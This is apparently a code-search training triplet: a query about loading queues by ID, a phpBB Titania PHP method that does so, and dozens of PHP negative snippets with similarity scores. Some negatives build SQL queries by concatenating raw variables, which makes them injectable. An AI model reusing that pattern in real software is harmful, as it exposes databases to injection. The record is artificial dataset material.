[ "0.8328521", "0.81264114", "0.8088207", "0.8059405", "0.8047785", "0.8045661", "0.7930721", "0.7930721", "0.7930721", "0.7930721", "0.7930721", "0.78550106", "0.78248477", "0.7822312", "0.7810514", "0.7736113", "0.7726944", "0.77202845", "0.7714149", "0.77104735", "0.7705428", "0.77011776", "0.76361954", "0.7633991", "0.75783175", "0.7554493", "0.7546516", "0.7524438", "0.74933696", "0.7481479", "0.74731797", "0.74507266", "0.74392444", "0.7436326", "0.74268043", "0.7425317", "0.7425317", "0.7425317", "0.7425317", "0.74247754", "0.74211216", "0.742048", "0.7411179", "0.73796123", "0.7367384", "0.7366157", "0.7366157", "0.7330019", "0.73263776", "0.7325512", "0.7317133", "0.72542006", "0.7251556", "0.72304106", "0.7224548", "0.7218965", "0.72145736", "0.721201", "0.71901727", "0.7161734", "0.71612495", "0.7145411", "0.7130034", "0.71099234", "0.7105506", "0.7092502", "0.70924884", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077491", "0.7077226", "0.7077226", "0.7077226", "0.7077226", "0.70701474", "0.7069137", "0.704278", "0.70401937", "0.70380116", "0.7034854", "0.70342857", "0.70252883" ]
0.0
-1
Load queue(s) from queue id(s)
public static function load_queue($queue_id) { if (!is_array($queue_id)) { $queue_id = array($queue_id); } // Only get the rows for those we have not gotten already $queue_id = array_diff($queue_id, array_keys(self::$queue)); if (!sizeof($queue_id)) { return; } $sql_ary = array( 'SELECT' => 'q.*', 'FROM' => array( TITANIA_QUEUE_TABLE => 'q', ), 'WHERE' => phpbb::$db->sql_in_set('q.queue_id', array_map('intval', $queue_id)) ); $sql = phpbb::$db->sql_build_query('SELECT', $sql_ary); $result = phpbb::$db->sql_query($sql); while($row = phpbb::$db->sql_fetchrow($result)) { self::$queue[$row['queue_id']] = $row; } phpbb::$db->sql_freeresult($result); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getQueue($id);", "public function loadByQueueId($queue_id)\n\t\t{\n\n\t\t\t$query ='SELECT * FROM n_queue_config WHERE queue_id IN (0, ?)';\n\t\t\t$this->statement = DB_Util_1::queryPrepared(\n\t\t\t\t\t$this->getDatabaseInstance(),\n\t\t\t\t\t$query,\n\t\t\t\t\tarray($queue_id)\n\t\t\t);\n\t\t}", "abstract public function dequeue($id);", "public function getQueue();", "public function getQueue();", "private function loadQueueStatus() {\n $this->queue_position = $this->core->getGradingQueue()->getQueueStatusAGV($this);\n }", "public static function load($id)\n {\n $packet = Redis::instance()->hgetall(self::redisKey($id));\n\n if (empty($packet) or empty($packet['queue']) or !count($payload = json_decode($packet['payload'], true))) {\n return null;\n }\n\n return new static($packet['queue'], $payload['id'], $payload['class'], $payload['data']);\n }", "public function enqueueScript($id)\n {\n $this->queue[$id] = $id;\n }", "function durp_queue_import() {\n $url = variable_get('durp_manifest', '');\n if (!strstr($url, '://')) {\n $filename = $url;\n }\n else {\n // Given URI is an URL, download this file first.\n $filename = 'temporary://import_' . md5(time() . $url) . '.xml';\n if (!$data = drupal_http_request($url)) {\n watchdog('durp', 'Could not retrieve data to !url', array('!url' => $url), WATCHDOG_ERROR);\n return FALSE;\n }\n if ($data->code != 200) {\n watchdog('durp', 'Wrong response code for !url: !code', array('!url' => $url, '!code' => $data->code), WATCHDOG_ERROR);\n return FALSE;\n }\n if (!$fp = fopen($filename, 'w')) {\n watchdog('durp', 'Could not write data to !file', array('!file' => $filename), WATCHDOG_ERROR);\n return FALSE;\n }\n fwrite($fp, $data->data);\n fclose($fp);\n // Sleep 1s to wait for filesystem\n sleep(1);\n }\n\n $xmlReader = new XMLReader;\n $xmlReader->open($filename);\n\n // Move to the first <Dossier /> node.\n while ($xmlReader->read() && $xmlReader->name !== 'Dossier');\n\n $queue = DrupalQueue::get('durp');\n while ($xmlReader->name === 'Dossier') {\n $item = new stdClass();\n $item->id = $xmlReader->getAttribute('Id');\n $item->xml = $xmlReader->readOuterXml();\n $queue->createItem($item);\n $xmlReader->next('Dossier');\n }\n}", "public function GetQueuedJobs()\n {\n $JOBS = $this->DB->GET('MUP.injector.jobs', ['status' => 'QUEUED', 'pmta' => $this->HOSTID, 'active' => '1', 'ORDER' => ['date' => 'ASC']], ['id', 'target', 'pool'], 100000);\n if (empty($JOBS)) {\n $this->ALERTS[] = FAIL.\" ~ <<< No Jobs to Inject...\";\n }else{\n if (isset($JOBS['id']))\n $JOBS = [$JOBS['id']=> $JOBS];\n foreach ($JOBS as $ID => $JOB) \n if (!isset($this->QueuedJobs[$JOB['pool']][$JOB['target']])) \n $this->QueuedJobs[$JOB['pool']][$JOB['target']] = ltrim($ID, '0');\n $this->Debug('QUEUED JOBS', $this->QueuedJobs);\n }\n }", "function load($id) {\n\t\tif(is_array($id)) {\n\t\t\t$results = array();\n\t\t\tforeach($id as $i) {\n\t\t\t\t$results[$i] = $this->load($i);\n\t\t\t}\n\t\t\treturn $results;\n\t\t}\n\t\t\n\t\tif(isset($this->map[$id])) {\n\t\t\treturn $this->map[$id];\n\t\t} else {\n\t\t\t$data = $this->db->load($id);\n\t\t\t$this->map[$id] = $data;\n\t\t\treturn $data;\n\t\t}\n\t}", "public function getQueueableIds();", "public function getQueueId();", "public function load_deferred($database_id)\n {\n }", "public function Queues();", "protected function loadPids() : void\n {\n foreach ($this->poolsConfig as $pool => $poolConfig) {\n $pidFiles = glob($this->runPath . '/' . $pool . '/*.pid');\n foreach ($pidFiles as $pidFile) {\n $workerId = basename($pidFile, '.pid');\n $pid = file_get_contents($pidFile);\n if ($this->pidIsValid($pid, $workerId)) {\n $this->pids[$pool][$workerId] = $pid;\n } else {\n $this->removePidFile($pidFile);\n }\n }\n }\n }", "public function dequeue();", "private function load_forums($id)\n {\n /*--------------------------------------------------------------------------\n * send the 8 most recent forums to the user who just connected to the group\n *-------------------------------------------------------------------------*/\n $forum_obj = new forum_mdl();\n return $forum_obj->get_forums($id,\"department\");\n }", "public function ReconcileQueues()\n {\n $xml = file_get_contents($this->StatsDir);\n $XML = simplexml_load_string($xml);\n foreach ($XML->data->queue as $i => $q) {\n $NAME = (string) $q->name[0];\n list($DOMAIN, $VMTA) = explode('/', $NAME);\n $LONGIP = ip2long(trim($VMTA));\n if (isset($this->TDOMS[$DOMAIN]) && ($DOMAIN!=='*') && ($VMTA!=='*'))\n if (!isset($this->PoolIPs[$LONGIP]))\n $this->ALERTS[] = FAIL.\" No Queued Jobs for \".$DOMAIN.' on VMTA: '.$VMTA.WHT;\n else {\n $POOL = $this->PoolIPs[$LONGIP];\n $TARGET = $this->TDOMS[$DOMAIN];\n $SIZE = (string) $q->rcp[0];\n $MODE = (string) $q->mode[0];\n $PAUSED = (string) $q->paused[0];\n $RETRY = empty($q->retryTime)?'00:00:00':(string) $q->retryTime[0];\n $ER = [];\n foreach ($q->event as $event)\n $ER[] = (string) $event->text[0];\n if ($SIZE >= $this->Low) \n unset($this->Pools[$POOL]['ips'][$LONGIP][$TARGET]);\n }\n }\n if (empty($this->Pools)) {\n $this->ALERTS[] = FAIL.\" No low Queues Found\";\n return false;\n }\n return $this->CompileJobs();\n }", "public function fetchUserQueue($userid, $gameid)\n {\n return $this->_em->createQuery(\"\n SELECT u, s\n FROM EIPHRBundle:HRUnitQueue u\n JOIN u.schema s\n JOIN u.army a\n WHERE a.user = :userid\n AND a.game = :gameid\n ORDER BY u.endTime ASC\n \")\n ->setParameter(':gameid', $gameid)\n ->setParameter(':userid', $userid)\n ->getResult();\n }", "public function getQueueJob(array $data);", "function load($id) {\n\t\t$db = & JFactory::getDBO();\n\n\t\t$this->id = intval($id);\n\t\t$query = 'SELECT * FROM `#__xmap_sitemap` where id='.$this->id;\n\t\t$db->setQuery( $query );\n\t\tif( !$res = $db->loadAssocList( )) {\n\t\t\treturn false;\t// defaults are still set, though\n\t\t}\n\t\t$this->bind($res[0]);\n\t\t$this->_items = NULL;\n\t\treturn true;\n\t}", "public function load($id){\n\t\t$sql = 'SELECT * FROM tbl_task WHERE id = ?';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\t$sqlQuery->setNumber($id);\n\t\treturn $this->getRow($sqlQuery);\n\t}", "public function runQueue();", "protected function load()\n\t{\n //---------------------\n\t\tif (($handle = simplexml_load_file($this->_origin)) !== FALSE)\n\t\t{\n $this->_fields = array(\"id\",\"task\",\"priority\",\"size\",\"group\",\"deadline\", \"status\",\"flag\");\n foreach($handle as $item){\n $record = new stdClass();\n for ($i = 0; $i < count($this->_fields); $i ++ )\n $record->{$this->_fields[$i]} = (string)$item[$this->_fields[$i]];\n $this->_data[$record->id] = $record;\n }\n\t\t}\n\t\t// --------------------\n\t\t// rebuild the keys table\n\t\t$this->reindex();\n\t}", "public function __construct($queue);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "public function load($id);", "private function importReferences()\n {\n $queue = $this->head_responses;\n\n //while has items in the queue\n while (count($queue)) {\n $this->iterateQueue($queue);\n }\n }", "public function getQueue(): Queue;", "public function load($qid)\n\t{\n\t\trequire '../../delete/sc_connection.php';\n\t\t$query = 'SELECT id, question_text, type, answer, form_id FROM question WHERE id = ' .$qid;\n\t\t$result = pg_query($sc_connection, $query) or die('There was a problem running the question query');\n\t\t$row = pg_fetch_array($result);\n\t\t$id = qid;\n\t\t$question_text = $row['question_text'];\n\t\t$type = $row['type'];\n\t\t$answer = $row['answer'];\n\t\t$form_id = $row['form_id'];\n\t}", "public function loadDataFromId(){\r\n\t\t\t$this -> loadFromId();\r\n\t }", "public function createQueue();", "public function pop($queue);", "public function loadBuffer(): void\n {\n if (self::$loaded) {\n return;\n }\n self::$loaded = true;\n\n foreach (self::$deferred as $class => $ids) {\n /** @var EntityRepository $repo */\n $repo = $this->registry->getRepository($class);\n $qb = $repo->createQueryBuilder('o', 'o.id');\n $entities = $qb->where($qb->expr()->in('o.id', array_values($ids)))\n ->getQuery()\n ->getResult();\n foreach ($entities as $entity) {\n if ($entity instanceof NodeInterface) {\n self::$deferred[$class][$entity->getId()] = $entity;\n }\n }\n }\n }", "public function batchProcess($queueId);", "public function load($id)\n {\n return;\n }", "public function loadByPid($pid) {\n\t\ttx_pttools_assert::isValidUid($pid, false, array('message' => 'Invalid pid'));\t\n\t\t$this->loadItems('pid = ' . $pid);\n\t}", "function automap_load_object_ids() {\n global $automap_object_id_file, $automap_object_ids;\n if(!isset($automap_object_ids[0]))\n if(GlobalCore::getInstance()->checkExisting($automap_object_id_file, false))\n $automap_object_ids = json_decode(file_get_contents($automap_object_id_file), true);\n else\n $automap_object_ids = array();\n\n return $automap_object_ids;\n}", "public function loadById($id);", "public function loadById($id);", "public static function enqueue();", "public function add($id) \n {\n $log = FezLog::get();\n if (!array_key_exists($id,$this->_ids) || !$this->_ids[$id]) {\n $this->_ids[$id] = self::ACTION_ADD;\n $log->debug(\"Added $id to queue\");\n }\n }", "function loadQuestionsFromDb() \n\t{\n\t\tglobal $ilDB;\n\t\t$this->questions = array();\n\t\t$result = $ilDB->queryF(\"SELECT * FROM svy_svy_qst WHERE survey_fi = %s ORDER BY sequence\",\n\t\t\tarray('integer'),\n\t\t\tarray($this->getSurveyId())\n\t\t);\n\t\twhile ($data = $ilDB->fetchAssoc($result)) \n\t\t{\n\t\t\t$this->questions[$data[\"sequence\"]] = $data[\"question_fi\"];\n\t\t}\n\t}", "public function getQueueId() {\n\t\t$db = JFactory::getDbo();\n\t\t$query = \"SELECT * FROM joomla3_queue ORDER BY queue_id DESC \";\n\n\t\t$db->setQuery($query, 0, 1);\n\t\t$rows_id = $db->loadAssoc();\n\n//\t\t$electrical_id = $row['electrical_status'];\n if($rows_id == \"\"){ //while the electrical table has delete or anyway trouble but the time will update\n\t\t\t/*$db = JFactory::getDbo();\n\t\t $query = \"select * from #__electrical where datetime > $time_pos ORDER BY electrical_id ASC\";\n\t\t\t$db->setQuery($query,0, $limit);\n\t\t $rows = $db->loadAssocList();\n\t\t\t*/\n\t\t}else{\n\t\t\t$queue_id = $rows_id['queue_id'];\n\t\t return $queue_id;\n\t\t\t\n\t\t}\t\n\t}", "protected function _loadPendingGroups()\n\t{\n\t\tif (!$this->_pending_groups) {\n\t\t\treturn;\n\t\t}\n\n\t\t$this->_pending_groups = array_unique($this->_pending_groups);\n\t\t$this->_pending_groups = Arrays::removeFalsey($this->_pending_groups);\n\n\t\t#------------------------------\n\t\t# Load from filesystem first\n\t\t#------------------------------\n\n\t\tforeach ($this->_pending_groups as $group) {\n\t\t\t$path = $this->getGroupFile($group);\n\t\t\tif (!$path || !file_exists($path)) continue;\n\n\t\t\t$group_settings = require($path);\n\t\t\t$this->settings = array_merge($group_settings, $this->settings);\n\t\t}\n\n\t\tunset($group_settings);\n\n\t\t#------------------------------\n\t\t# Load from db (user-specified overrides)\n\t\t#------------------------------\n\n\t\tif (!$this->_has_loaded_db) {\n\n\t\t\t$this->_has_loaded_db = true;\n\n\t\t\t$db_settings = $this->db->fetchAllKeyValue(\"\n\t\t\t\tSELECT name, value\n\t\t\t\tFROM settings\n\t\t\t\");\n\n\t\t\t$this->settings = array_merge($this->settings, $db_settings);\n\n\t\t\tif (!empty($GLOBALS['DP_CONFIG']['SETTINGS']) && is_array($GLOBALS['DP_CONFIG']['SETTINGS'])) {\n\t\t\t\t$this->settings = array_merge($this->settings, $GLOBALS['DP_CONFIG']['SETTINGS']);\n\t\t\t}\n\t\t}\n\n\t\t$this->_loaded_groups = array_merge($this->_loaded_groups, $this->_pending_groups);\n\t\t$this->_pending_groups = array();\n\t}", "public function takeQueue($serviceId){\n\t\t\t$currentData = parent::model('service')->get_queue_by_service($serviceId);\n\t\t\t$switchedQueue = parent::model('antrian')\n\t\t\t\t->get_switched_queue(array(\n\t\t\t\t\t'antrian_jenis_panggilan' => 'alihan',\n\t\t\t\t\t'antrian_layanan_id' => $serviceId,\n\t\t\t\t\t'antrian_status' => 'menunggu'\n\t\t\t\t),'antrian_date_created','desc')->row_array();\n\n\t\t\tif ($currentData->num_rows() > 0){\n\t\t\t\t$waitQueue = parent::model('antrian')->get_join_where(array(\n\t\t\t\t\t'antrian_status' => 'menunggu',\n\t\t\t\t\t'antrian_layanan_id' => $serviceId,\n\t\t\t\t\t'antrian_jenis_panggilan' => 'terusan'\n\t\t\t\t));\n\t\t\t\t$activeQueue = parent::model('antrian')->get_join_where(array(\n\t\t\t\t\t'antrian_status' => 'aktif',\n\t\t\t\t\t'antrian_layanan_id' => $serviceId,\n\t\t\t\t\t'antrian_jenis_panggilan' => 'terusan'\n\t\t\t\t));\n\n\t\t\t\t$serviceQueue = $currentData->result_array();\n\t\t\t\t$total = count($serviceQueue);\n\t\t\t\t$lastQueue = $serviceQueue[$total-1];\n\n\t\t\t\t// memeriksa antrian selanjutnya/menunggu\n\t\t\t\tif ($waitQueue->num_rows() <= 0) {\n\t\t\t\t\tif ($activeQueue->num_rows() > 0) {\n\t\t\t\t\t\t$dataQueue = array(\n\t\t\t\t\t\t\t'antrian_nomor' => ($lastQueue['antrian_nomor'] + 1),\n\t\t\t\t\t\t\t'antrian_layanan_id' => $lastQueue['layanan_id'],\n\t\t\t\t\t\t\t'antrian_status' => 'menunggu'\n\t\t\t\t\t\t);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($switchedQueue!==null){\n\t\t\t\t\t\t\t// jika antrian aktif tidak ada\n\t\t\t\t\t\t\t$dataQueue = array(\n\t\t\t\t\t\t\t\t'antrian_nomor' => ($lastQueue['antrian_nomor'] + 1),\n\t\t\t\t\t\t\t\t'antrian_layanan_id' => $lastQueue['layanan_id'],\n\t\t\t\t\t\t\t\t'antrian_status' => 'menunggu'\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t// jika antrian aktif tidak ada\n\t\t\t\t\t\t\t$dataQueue = array(\n\t\t\t\t\t\t\t\t'antrian_nomor' => ($lastQueue['antrian_nomor'] + 1),\n\t\t\t\t\t\t\t\t'antrian_layanan_id' => $lastQueue['layanan_id'],\n\t\t\t\t\t\t\t\t'antrian_status' => 'aktif'\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$dataQueue = array(\n\t\t\t\t\t\t'antrian_nomor' => ($lastQueue['antrian_nomor'] + 1),\n\t\t\t\t\t\t'antrian_layanan_id' => $lastQueue['layanan_id'],\n\t\t\t\t\t\t'antrian_status' => 'menunggu'\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\t$insertQueue = parent::model('antrian')->post_antrian($dataQueue);\n\n\t\t\t\tif ($insertQueue > 0){\n\t\t\t\t\t$queueNumber = str_pad($dataQueue['antrian_nomor'], 3, '0', STR_PAD_LEFT);\n\t\t\t\t\t$freshWaitQueue = parent::model('antrian')->get_join_where(array(\n\t\t\t\t\t\t'antrian_layanan_id' => $serviceId,\n\t\t\t\t\t\t'antrian_status' => 'menunggu'\n\t\t\t\t\t));\n\t\t\t\t\techo json_encode(array(\n\t\t\t\t\t\t'status' => '200',\n\t\t\t\t\t\t'message' => 'berhasil mengambil antrian, silahkan menunggu',\n\t\t\t\t\t\t'antrian_nomor' => ucwords($lastQueue['layanan_awalan']).'-'.$queueNumber,\n\t\t\t\t\t\t'service_name' => $lastQueue['layanan_nama'],\n\t\t\t\t\t\t'left_queue' => $freshWaitQueue->num_rows()\n\t\t\t\t\t));\n\t\t\t\t}else{\n\t\t\t\t\techo json_encode(array(\n\t\t\t\t\t\t'status' => '500',\n\t\t\t\t\t\t'message' => 'kesalahan operasi mengambil antrian',\n\t\t\t\t\t\t'antrian_nomor' => 0\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t// jika antrian berdasarkan layanan pada DB kosong\n\t\t\t\tif ($switchedQueue!==null){\n\t\t\t\t\t$dataQueue = array(\n\t\t\t\t\t\t'antrian_nomor' => 1,\n\t\t\t\t\t\t'antrian_layanan_id' => $serviceId,\n\t\t\t\t\t\t'antrian_status' => 'menunggu'\n\t\t\t\t\t);\n\t\t\t\t}else{\n\t\t\t\t\t$dataQueue = array(\n\t\t\t\t\t\t'antrian_nomor' => 1,\n\t\t\t\t\t\t'antrian_layanan_id' => $serviceId,\n\t\t\t\t\t\t'antrian_status' => 'aktif'\n\t\t\t\t\t);\n\t\t\t\t}\n\n\n\t\t\t\t$insertQueue = parent::model('antrian')->post_antrian($dataQueue);\n\t\t\t\t// jika berhasil insert antrian aktif pertama\n\t\t\t\tif ($insertQueue > 0){\n\t\t\t\t\t$queueNumber = str_pad($dataQueue['antrian_nomor'], 3, '0', STR_PAD_LEFT);\n\t\t\t\t\t$freshLocket = parent::model('layanan')->getOne(array('layanan_id' => $serviceId));\n\t\t\t\t\t$freshWaitQueue = parent::model('antrian')->get_join_where(array(\n\t\t\t\t\t\t'antrian_layanan_id' => $serviceId,\n\t\t\t\t\t\t'antrian_status' => 'menunggu'\n\t\t\t\t\t));\n\t\t\t\t\techo json_encode(array(\n\t\t\t\t\t\t'status' => '200',\n\t\t\t\t\t\t'message' => 'berhasil mengambil antrian, silahkan menunggu',\n\t\t\t\t\t\t'antrian_nomor' => ucwords($freshLocket['layanan_awalan']).'-'.$queueNumber,\n\t\t\t\t\t\t'service_name' => $freshLocket['layanan_nama'],\n\t\t\t\t\t\t'left_queue' => $freshWaitQueue->num_rows()\n\t\t\t\t\t));\n\t\t\t\t}else{\n\t\t\t\t\techo json_encode(array(\n\t\t\t\t\t\t'status' => '500',\n\t\t\t\t\t\t'message' => 'kesalahan operasi mengambil antrian',\n\t\t\t\t\t\t'antrian_nomor' => 0\n\t\t\t\t\t));\n\t\t\t\t}\n\n\t\t\t}\n\t\t}", "function enqueue(){\n\t\t}", "public function load_data($id=null){\r\n \t//$this->Apimodel->submitProblem(1,'1-4.cpp');\r\n\t \t//$data=$this->Apimodel->getSub($id);//submiss,soal\r\n\t \t// $data['problem']=$this->Apimodel->getProblem();\r\n\t \t$ids = $this->Apimodel->submitProblem(1,'1-4.cpp');\r\n\t \techo('<pre>');\r\n\t\tprint_r($ids);\r\n\t\techo('</pre>');\r\n\r\n\r\n\t}", "public function fetchQueueMetadata($queueId, $options = null);", "public function preloadIds()\n\t{\n\t\tif (func_num_args() == 1) {\n\t\t\t$keys = (array)func_get_arg(1);\n\t\t} else {\n\t\t\t$keys = func_get_args();\n\t\t}\n\n\t\tforeach ($keys as &$k) {\n\t\t\tif (!array_key_exists($k, $this->loaded)) {\n\t\t\t\t$k = $this->id_prefix . $k;\n\t\t\t} else {\n\t\t\t\t$k = 0;\n\t\t\t}\n\t\t}\n\t\tunset($k);\n\n\t\t$keys = Arrays::removeFalsey($keys);\n\t\tif (!$keys) {\n\t\t\treturn;\n\t\t}\n\n\t\t$keys_in = \"'\" . implode(\"','\", $keys) . \"'\";\n\n\t\t$date = date('Y-m-d H:i:s');\n\n\t\ttry {\n\t\t\t$records = $this->db->fetchAll(\"\n\t\t\t\tSELECT id, data\n\t\t\t\tFROM cache\n\t\t\t\tWHERE id IN ($keys_in) AND (date_expire IS NULL OR date_expire > ?)\n\t\t\t\", array($date));\n\t\t} catch (\\Exception $e) {\n\t\t\t$records = array();\n\t\t\tif (!$this->silence_exceptions) {\n\t\t\t\tthrow $e;\n\t\t\t}\n\t\t}\n\n\t\t$got_keys = array();\n\t\tforeach ($records as $rec) {\n\t\t\t$got_keys[$rec['id']];\n\t\t\t$this->loaded[$rec['id']] = $rec['data'];\n\t\t}\n\n\t\t// Fill loaded with nulls for keys we know are missing\n\t\tif (count($got_keys) != count($keys)) {\n\t\t\t$missing_keys = array_diff($keys, $got_keys);\n\t\t\tforeach ($missing_keys as $k) {\n\t\t\t\t$this->loaded[$k] = null;\n\t\t\t}\n\t\t}\n\t}", "static function get_queued_scripts() {\n\t\tglobal $wp_scripts;\n\n\t\t$loading_scripts = array();\n\t\tforeach ( $wp_scripts->queue as $key => $handle ) {\n\t\t\t$loading_scripts[ $handle ] = $wp_scripts->registered[ $handle ]->src;\n\t\t}\n\t\treturn $loading_scripts;\n\t}", "function addBatchToQueue() {\n if(count($this->_importQueueBatch) == 0) {\n return;\n }\n $queueParams = array(\n 'entity' => $this->_entity,\n 'params' => $this->_importQueueBatch,\n 'errorFileName' => $this->_errorFileName,\n );\n $task = new CRM_Queue_Task(\n array('CRM_Csvimport_Task_Import', 'ImportEntity'),\n $queueParams,\n ts('Importing entity') . ': ' . $this->_lineCount\n );\n $this->_importQueue->createItem($task);\n $this->_importQueueBatch = array();\n }", "protected function _readObserversQueue() {\n if (Zend_Registry::isRegistered('observers_queue')) {\n $observerQueue = Zend_Registry::get('observers_queue');\n } else {\n $observerQueue = array();\n }\n\n\t\t$modelClassName = get_called_class();\n if (array_key_exists($modelClassName, $observerQueue) && !empty($observerQueue[$modelClassName])){\n foreach ($observerQueue[$modelClassName] as $observer) {\n if(Zend_Loader_Autoloader::getInstance()->suppressNotFoundWarnings(true)->autoload($observer)) {\n $this->registerObserver(new $observer());\n } else {\n if(Tools_System_Tools::debugMode()) {\n error_log('Unable to load an observer from the queue: ' . $observer);\n }\n }\n }\n }\n\n }", "public function queueManagement(int $mid){\n\t\t// \n\t\t// A queue number is added in mailbox table for getting the last queue number of the user, the queue number should not be used for sent folder because they are the emails which are send by us not came from them.\n\t\t// \n\t\t// Initially the folder should take the emails in send but when the project starts the send emails are not necessarily be taken from the email box of gmail etc or it can be taken into consideration but they will create a confustion as, to whom the reply will be associated.\n\t}", "public static function load(int $id);", "public function __construct($queues)\n\t{\n\t\t$this->logger = new Logger();\n\n\t\tif (!is_array($queues)) {\n\t\t\t$queues = array($queues);\n\t\t}\n\n\t\t$this->queues = $queues;\n\t\t$this->hostname = php_uname('n');\n\n\t\t$this->id = $this->hostname . ':' . getmypid() . ':' . implode(',', $this->queues);\n\t}", "public function getQueue()\n {\n return $this->doRequest('GET', \"queue\", []);\n }", "public function queues() {\n return $this->hasMany('App\\Queue', 'clinic_id', 'id');\n }", "static function get_queued_styles() {\n\t\tglobal $wp_styles;\n\n\t\t$loading_styles = array();\n\t\tforeach ( $wp_styles->queue as $key => $handle ) {\n\t\t\t$loading_styles[ $handle ] = $wp_styles->registered[ $handle ]->src;\n\t\t}\n\t\treturn $loading_styles;\n\t}", "function get_queue_items() {\r\n $args = func_get_args();\r\n $mkt_id ='';\r\n //if one of the arguments is marketing ID, then we need to filter by it\r\n foreach($args as $arg){\r\n if(isset($arg['EMAIL_MARKETING_ID_VALUE'])){\r\n $mkt_id = $arg['EMAIL_MARKETING_ID_VALUE'];\r\n }\r\n }\r\n\r\n\t\t$this->load_relationship('queueitems');\r\n\t\t$query_array = $this->queueitems->getQuery(true);\r\n //add filtering by marketing id, if it exists, and if where key is not empty\r\n if (!empty($mkt_id) && !empty($query_array['where'])){\r\n $query_array['where'] = $query_array['where']. \" AND marketing_id ='$mkt_id' \";\r\n }\r\n\t\t//get select query from email man.\r\n\t\trequire_once('modules/EmailMan/EmailMan.php');\r\n\t\t$man = new EmailMan();\r\n\t\t$listquery= $man->create_list_query('',str_replace(array(\"WHERE\",\"where\"),\"\",$query_array['where']));\t\r\n\t\treturn ($listquery);\r\n\t\t\r\n\t}", "public function getQueueableId();", "public function load_thread($threadID){\n\t\t$query = $this->db->query(\"SELECT ID, name, comment, threadID FROM bboard WHERE threadID =\".$threadID);\n\t\tforeach ($query->result() as $row){\n\t\t\t$data['id']\t = \"$row->ID\";\n\t\t\t$data['name'] = \"$row->name\";\n\t\t\t$data['comment'] = \"$row->comment\";\t\t\t\n\t\t}\n\t\t\n\t\treturn $data;\n\t}", "public function getQueues()\n {\n return $this->_queues = $this->_pheanstalk->listTubes();\n }", "public function createQueue() {\n // Drupal is first installed) so there is nothing we need to do to create\n // a new queue.\n }", "function load() {\n\t\tglobal $mysql;\n //if(!$this->exists()) return;\n \t$id \t\t= $mysql->escape($this->id);\n \t$tablename \t= $this->class_name();\n \t$this->data = $mysql->executeSql(\"SELECT * FROM \".$tablename.\" WHERE id=$id;\");\n \t$this->id\t= $this->data['id'];\n \tunset($this->data['id']);\n }", "public function loadItem($id){\n\t\tif($id){\n\n\t\t\t//$this->firephp->info($id);\n\t\t\t\n\t\t\t//get some db credentials\n\t\t\t$session = new Session();\n\t\t\t\n\t\t\tif(!$session->get('dbcreds')){\n\t\t\t\t$dbcreds = xmlToArray::getArray(CONFIG.'/'.Constants::config,'config-root','config','database');\n\t\t\t\t//$session->set('dbcreds',$dbcreds);\n\t\t\t} else {\n\t\t\t\t$dbcreds = $session->get('dbcreds');\n\t\t\t}\n\t\t\t\n\t\t\t//load from db\n\t\t\t$mode = QueryBuilder::QUERYSELECT;\n\t\t\t$query = new QueryBuilder($mode);\n\t\t\t$query->setTable($this->table);\t\n\t\t\t$query->setKey($id);\n\t\t\t$query->setKeyName($this->keyName);\t\n\t\t\t$query_str = $query->parse();\n\t\t\t//$this->firephp->info($query_str);\n\n\t\t\t$this->wrapper = DBConn::getInstance();\n\t\t\t$this->wrapper->query($query_str);\n\n\t\t\t\n\t\t\tif($this->wrapper->getNumrows() == 0) {\n\t\t\t\tLogger::logError('WARNING - ' . $this->wrapper->getError() . \" (QUERY:$query_str)\");\n\t\t\t\tthrow new yafException($this->wrapper->getError(),yafException::WARNING);\n\t\t\t}\n\t\t\n\t\t\t$this->attributes = $this->wrapper->fetch_assoc_row();\t\t\t\n\n\t\t}\n\t\t\n\t\t\n\t}", "public static function insert_from_queue( $id, $action, $args ) {\n\n\t\t$syncable = static::from_object( get_term( $id, $args['taxonomy'] ) );\n\n\t\tif ( ! $syncable instanceof Term ) {\n\t\t\treturn;\n\t\t}\n\n\t\tforeach ( static::get_syncable_sites( $id ) as $site_id => $bool ) {\n\n\t\t\t// Site does not exist\n\t\t\tif ( ! get_blog_details( $site_id ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ( $bool ) {\n\t\t\t\t$syncable->sync_to( $site_id, $action );\n\t\t\t}\n\t\t}\n\t}", "public static function loadMultiple(array $ids = NULL);", "function async_work() {\n\t\t$posix_pid = posix_getpid();\n\t\t$this->predis->sadd('workers', $posix_pid);\n\t\t//set_error_handler('error_as_exception');\n\t\twhile(true) {\n\t\t\tlist($liste, $sdata) = $this->predis->brpop(\"posix_pid:$posix_pid\", 'queue', 300);\n\t\t\tif($sdata != NULL) {\n\t\t\t\t$data = unserialize($sdata);\n\t\t\t\tif(sizeof($data) > 2) {\n\t\t\t\t\t$_PID = $data[2];\n\t\t\t\t\t$_CONTEXT = new Context($_PID);\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\t//var_dump($sdata);\n\t\t\t\t\t$result = call_user_func_array($data[0], $data[1]);\n\t\t\t\t\t$msg = array('r', $result);\n\t\t\t\t} catch( Exception $e) {\n\t\t\t\t\t$msg = array('e', $e);\n\t\t\t\t}\n\t\t\t\tif(sizeof($data) > 2) {\n\t\t\t\t\t$this->predis->lpush(\"pid:$data[2]\", serialize($msg));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\trestore_error_handler();\n\t}", "public function _load()\n {\n $query = new Query(\n \"SELECT *\n FROM `\" . 